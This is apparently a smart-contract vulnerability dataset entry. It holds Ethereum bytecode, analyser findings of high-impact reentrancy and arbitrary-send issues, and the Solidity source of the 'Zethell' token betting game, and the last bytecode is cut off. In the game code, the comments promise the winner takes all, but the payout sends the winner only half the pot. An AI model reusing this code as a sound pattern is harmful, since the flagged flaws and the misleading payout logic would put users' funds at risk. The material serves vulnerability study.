fffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b91505092915050565b60008135905061280181613640565b92915050565b60008151905061281681613640565b92915050565b60008135905061282b81613657565b92915050565b60008151905061284081613657565b92915050565b60006020828403121561285857600080fd5b60006128668482850161279e565b91505092915050565b60006020828403121561288157600080fd5b600061288f848285016127b3565b91505092915050565b600080604083850312156128ab57600080fd5b60006128b98582860161279e565b92505060206128ca8582860161279e565b9150509250929050565b6000806000606084860312156128e957600080fd5b60006128f78682870161279e565b93505060206129088682870161279e565b92505060406129198682870161281c565b9150509250925092565b6000806040838503121561293657600080fd5b60006129448582860161279e565b92505060206129558582860161281c565b9150509250929050565b60006020828403121561297157600080fd5b600082013567ffffffffffffffff81111561298b57600080fd5b612997848285016127c8565b91505092915050565b6000602082840312156129b257600080fd5b60006129c0848285016127f2565b91505092915050565b6000602082840312156129db57600080fd5b60006129e984828501612807565b91505092915050565b600060208284031215612a0457600080fd5b6000612a128482850161281c565b91505092915050565b600080600060608486031215612a3057600080fd5b6000612a3e86828701612831565b9350506020612a4f86828701612831565b9250506040612a6086828701612831565b9150509250925092565b6000612a768383612a82565b60208301905092915050565b612a8b816131aa565b82525050565b612a9a816131aa565b82525050565b6000612aab82613050565b612ab58185613073565b9350612ac083613040565b8060005b83811015612af1578151612ad88882612a6a565b9750612ae383613066565b925050600181019050612ac4565b5085935050505092915050565b612b07816131bc565b82525050565b612b16816131ff565b82525050565b6000612b278261305b565b612b318185613084565b9350612b41818560208601613211565b612b4a8161334b565b840191505092915050565b6000612b62602383613084565b9150612b6d8261335c565b604082019050919050565b6000612b85602a83613084565b9150612b90826133ab565b604082019050919050565b6000612ba8602283613084565b9150612bb3826133fa565b604082019050919050565b6000612bcb601b83613084565b9150612bd682613449565b602082019050919050565b6000612bee601d83613084565b9150612bf982613472565b602082019050919050565b6000612c11602183613084565b9150612c1c8261349b565b604082019050919050565b6000612c34602083613084565b9150612c3f826134ea565b602082019050919050565b6000612c57602983613084565b9150612c6282613513565b604082019050919050565b6000612c7a602583613084565b9150612c8582613562565b604082019050919050565b6000612c9d602483613084565b9150612ca8826135b1565b604082019050919050565b6000612cc0601783613084565b9150612ccb82613600565b602082019050919050565b612cdf816131e8565b82525050565b612cee816131f2565b82525050565b6000602082019050612d096000830184612a91565b92915050565b6000604082019050612d246000830185612a91565b612d316020830184612a91565b9392505050565b6000604082019050612d4d6000830185612a91565b612d5a6020830184612cd6565b9392505050565b600060c082019050612d766000830189612a91565b612d836020830188612cd6565b612d906040830187612b0d565b612d9d6060830186612b0d565b612daa6080830185612a91565b612db760a0830184612cd6565b979650505050505050565b6000602082019050612dd76000830184612afe565b92915050565b60006020820190508181036000830152612df78184612b1c565b905092915050565b60006020820190508181036000830152612e1881612b55565b9050919050565b60006020820190508181036000830152612e3881612b78565b9050919050565b60006020820190508181036000830152612e5881612b9b565b9050919050565b60006020820190508181036000830152612e7881612bbe565b9050919050565b60006020820190508181036000830152612e9881612be1565b9050919050565b60006020820190508181036000830152612eb881612c04565b9050919050565b60006020820190508181036000830152612ed881612c27565b9050919050565b60006020820190508181036000830152612ef881612c4a565b9050919050565b60006020820190508181036000830152612f1881612c6d565b9050919050565b60006020820190508181036000830152612f3881612c90565b9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c467f4ebd5c9e5df701299a9577833f4fa5bf62b1e1df004fe81a65c4847edd064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,305 |
0xe609c2d1748ef05fea135f73be1632f38f7829c9
|
pragma solidity ^0.4.24;
/*
https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com
FFFFFFFFFFFFFFFFFFFFFF tttt iiii
F::::::::::::::::::::F ttt:::t i::::i
F::::::::::::::::::::F t:::::t iiii
FF::::::FFFFFFFFF::::F t:::::t
F:::::F FFFFFFooooooooooo rrrrr rrrrrrrrr ttttttt:::::ttttttt iiiiiii ssssssssss
F:::::F oo:::::::::::oo r::::rrr:::::::::r t:::::::::::::::::t i:::::i ss::::::::::s
F::::::FFFFFFFFFFo:::::::::::::::or:::::::::::::::::r t:::::::::::::::::t i::::i ss:::::::::::::s
F:::::::::::::::Fo:::::ooooo:::::orr::::::rrrrr::::::rtttttt:::::::tttttt i::::i s::::::ssss:::::s
F:::::::::::::::Fo::::o o::::o r:::::r r:::::r t:::::t i::::i s:::::s ssssss
F::::::FFFFFFFFFFo::::o o::::o r:::::r rrrrrrr t:::::t i::::i s::::::s
F:::::F o::::o o::::o r:::::r t:::::t i::::i s::::::s
F:::::F o::::o o::::o r:::::r t:::::t tttttt i::::i ssssss s:::::s
FF:::::::FF o:::::ooooo:::::o r:::::r t::::::tttt:::::ti::::::is:::::ssss::::::s
F::::::::FF o:::::::::::::::o r:::::r tt::::::::::::::ti::::::is::::::::::::::s
F::::::::FF oo:::::::::::oo r:::::r tt:::::::::::tti::::::i s:::::::::::ss
FFFFFFFFFFF ooooooooooo rrrrrrr ttttttttttt iiiiiiii sssssssssss
Discord: https://discord.gg/gDtTX62
*/
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethell is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How much of the current token balance is reserved as the house take?
uint private houseTake;
// How many tokens are currently being played for? (Remember, this is winner takes all)
uint public tokensInPlay;
// The token balance of the entire contract.
uint public contractBalance;
// Which address is currently winning?
address public currentWinner;
// What time did the most recent clock reset happen?
uint public gameStarted;
// What time will the game end if the clock isn't reset?
uint public gameEnds;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
mapping (uint => uint) tokenToTimer;
// Fire an event whenever the clock runs out and a winner is determined.
event GameEnded(
address winner,
uint tokensWon,
uint timeOfWin
);
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered,
uint _newExpiry
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
currentWinner = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// To start with, we only allow bets of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
// Logarithmically decreasing time 'bonus' associated with higher amounts of ZTH staked.
tokenToTimer[5e18] = 24 hours;
tokenToTimer[10e18] = 18 hours;
tokenToTimer[25e18] = 10 hours;
tokenToTimer[50e18] = 6 hours;
// Set the initial timers to contract genesis.
gameStarted = now;
gameEnds = now;
gameActive = true;
}
// Zethr dividends gained are sent to Bankroll later
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_stakeTokens(_tkn);
return true;
}
// First, we check to see if the tokens are ZTH tokens. If not, we revert the transaction.
// Next - if the game has already ended (i.e. your bet was too late and the clock ran out)
// the staked tokens from the previous game are transferred to the winner, the timers are
// reset, and the game begins anew.
// If you're simply resetting the clock, the timers are reset accordingly and you are designated
// the current winner. A 1% cut will be taken for the house, and the rest deposited in the prize
// pool which everyone will be playing for. No second place prizes here!
function _stakeTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
if (now > gameEnds) { _settleAndRestart(); }
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
uint rightNow = now;
uint timePurchased = tokenToTimer[_tkn.value];
uint newGameEnd = rightNow.add(timePurchased);
gameStarted = rightNow;
gameEnds = newGameEnd;
currentWinner = _customerAddress;
contractBalance = contractBalance.add(_wagered);
uint houseCut = _wagered.div(100);
uint toAdd = _wagered.sub(houseCut);
houseTake = houseTake.add(houseCut);
tokensInPlay = tokensInPlay.add(toAdd);
emit TokensWagered(_customerAddress, _wagered, newGameEnd);
}
// In the event of a game restart, subtract the tokens which were being played for from the balance,
// transfer them to the winner (if the number of tokens is greater than zero: sly edge case).
// If there is *somehow* any Ether in the contract - again, please don't - it is transferred to the
// bankroll and reinvested into Zethr at the standard 33% rate.
function _settleAndRestart() private {
gameActive = false;
uint payment = tokensInPlay/2;
contractBalance = contractBalance.sub(payment);
if (tokensInPlay > 0) { ZTHTKN.transfer(currentWinner, payment);
if (address(this).balance > 0){
ZTHBANKROLL.transfer(address(this).balance);
}}
emit GameEnded(currentWinner, payment, now);
// Reset values.
tokensInPlay = tokensInPlay.sub(payment);
gameActive = true;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
// Administrative function for adding a new token-time pair, should there be demand.
function addTokenTime(uint _tokenAmount, uint _timeBought) public onlyOwner {
validTokenBet[_tokenAmount] = true;
tokenToTimer[_tokenAmount] = _timeBought;
}
// Administrative function to REMOVE a token-time pair, should one fall out of use.
function removeTokenTime(uint _tokenAmount) public onlyOwner {
validTokenBet[_tokenAmount] = false;
tokenToTimer[_tokenAmount] = 232 days;
}
// Function to pull out the house cut to the bankroll if required (i.e. to seed other games).
function retrieveHouseTake() public onlyOwnerOrBankroll {
uint toTake = houseTake;
houseTake = 0;
contractBalance = contractBalance.sub(toTake);
ZTHTKN.transfer(bankroll, toTake);
emit HouseRetrievedTake(now, toTake);
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x6080604052600436106100da5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633cc4c6ce81146100dc578063499831f2146100f15780635e123ce414610106578063722713f71461012d5780638b7afe2e14610142578063a378bba514610157578063a6f9dae11461016c578063a78bcf6e1461018d578063aabe2fe3146101ae578063afa9a86e146101df578063c0ee0b8a146101f4578063d6ccf7a714610271578063f020044f1461028c578063f41f4b10146102a1578063f79d6687146102b6575b005b3480156100e857600080fd5b506100da6102ce565b3480156100fd57600080fd5b506100da6102f4565b34801561011257600080fd5b5061011b610317565b60408051918252519081900360200190f35b34801561013957600080fd5b5061011b61031d565b34801561014e57600080fd5b5061011b610323565b34801561016357600080fd5b5061011b610329565b34801561017857600080fd5b506100da600160a060020a036004351661032f565b34801561019957600080fd5b506100da600160a060020a0360043516610375565b3480156101ba57600080fd5b506101c36103bb565b60408051600160a060020a039092168252519081900360200190f35b3480156101eb57600080fd5b5061011b6103ca565b34801561020057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261025d948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506103d09650505050505050565b604080519115158252519081900360200190f35b34801561027d57600080fd5b506100da600435602435610401565b34801561029857600080fd5b5061025d61043f565b3480156102ad57600080fd5b506100da610448565b3480156102c257600080fd5b506100da600435610574565b600054600160a060020a031633146102e557600080fd5b6008805460ff19166001179055565b600054600160a060020a0316331461030b57600080fd5b6008805460ff19169055565b60065481565b60045490565b60045481565b60075481565b600054600160a060020a0316331461034657600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461038c57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60035481565b60006103da610920565b600160a060020a0385168152602081018490526103f6816105b4565b506001949350505050565b600054600160a060020a0316331461041857600080fd5b6000918252600b60209081526040808420805460ff19166001179055600c90915290912055565b60085460ff1681565b60008054600160a060020a031633148061046c5750600154600160a060020a031633145b151561047757600080fd5b50600280546000909155600454610494908263ffffffff61073f16565b6004908155600a54600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831694810194909452602484018590525191169163a9059cbb9160448083019260209291908290030181600087803b15801561050a57600080fd5b505af115801561051e573d6000803e3d6000fd5b505050506040513d602081101561053457600080fd5b5050604080514281526020810183905281517f95a874a43e2b35cd8dd5c26d75b8c95ea2cd8152f17d40ac971f7844a976f051929181900390910190a150565b600054600160a060020a0316331461058b57600080fd5b6000908152600b60209081526040808320805460ff19169055600c9091529020630131dc009055565b6000806000806000806000600860009054906101000a900460ff1615156105da57600080fd5b6105e333610751565b15156105ee57600080fd5b6020808901516000908152600b909152604090205460ff16151561061157600080fd5b6007544211156106235761062361076a565b87516020808a01516000818152600c90925260409091205491985096504295509350610655858563ffffffff6108f316565b600686905560078190556005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a1617905560045490935061069790876108f3565b6004556106ab86606463ffffffff61090916565b91506106bd868363ffffffff61073f16565b6002549091506106d3908363ffffffff6108f316565b6002556003546106e9908263ffffffff6108f316565b60035560408051600160a060020a03891681526020810188905280820185905290517ff6dbe9ed7a14e9a58a34b1833a363a95a7d19a785c6657b8aeea89c18b80752b9181900360600190a15050505050505050565b60008282111561074b57fe5b50900390565b6008546101009004600160a060020a0390811691161490565b6008805460ff19169055600354600454600290910490610790908263ffffffff61073f16565b6004556003546000101561088257600a54600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561081057600080fd5b505af1158015610824573d6000803e3d6000fd5b505050506040513d602081101561083a57600080fd5b505060003031111561088257600954604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610880573d6000803e3d6000fd5b505b60055460408051600160a060020a039092168252602082018390524282820152517f8420a32dd381606a863bf5711eb04325b7da1cb03e87d6167fab0afe1a9da80c9181900360600190a1600354610